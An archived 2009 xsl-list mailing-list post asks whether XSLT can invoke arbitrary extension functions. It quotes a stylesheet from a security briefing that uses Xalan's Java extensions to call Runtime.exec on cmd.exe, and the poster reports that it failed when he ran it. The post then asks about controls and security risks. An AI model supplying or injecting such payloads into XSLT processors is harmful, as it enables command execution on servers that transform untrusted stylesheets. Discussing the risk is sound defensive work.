xsl-list
[Top] [All Lists]

[xsl] Can an XSLT document invoke arbitrary extension functions?

2009-10-26 16:40:50

Hi Folks,

Below is an XSLT transform that - supposedly - opens a DOS command prompt. I 
saw the XSLT transform in this [1] briefing (slide 132). I ran it. It doesn't 
work; it just produces an error.

The briefing seems to suggest that XSLT is riddled with security leaks, as any 
XSLT transform can invoke pretty much any arbitrary function (apparently 
including, as the below XSLT transform shows, any arbitrary Windows function). 

Questions:

1. Should the below XSLT Transform work? (i.e. is there simply a minor bug in 
it, that when fixed, would make it operate as desired?)

2. Is there any control over the set of extension functions provided by XSLT 
processors?

3. How do you respond to the briefing's suggestions that XSLT is riddled with 
security leaks? (I realize this is a broad question; any thoughts you have 
would be appreciated)


<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform";
                xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime";
                xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object";
                extension-element-prefixes="rt ob"
                version="1.0">


    <xsl:template match="/">
        <xsl:variable name="runTimeObject" select="rt:getRuntime()"/>
        <xsl:variable name="command" 
           select="rt:exec($runTimeObject, 
&apos;c:\Windows\system32\cmd.exe&apos;)"/>
        <xsl:variable name="commandAsString" select="ob:toString($command)"/>
        <xsl:value-of select="$commandAsString"/>
    </xsl:template>

</xsl:stylesheet>


/Roger


[1] https://www.isecpartners.com/files/iSEC_HILL_AttackingXMLSecurity_bh07.pdf
--~------------------------------------------------------------------
XSL-List info and archive:  http://www.mulberrytech.com/xsl/xsl-list
To unsubscribe, go to: http://lists.mulberrytech.com/xsl-list/
or e-mail: <mailto:xsl-list-unsubscribe(_at_)lists(_dot_)mulberrytech(_dot_)com>
--~--

<Prev in Thread] Current Thread [Next in Thread>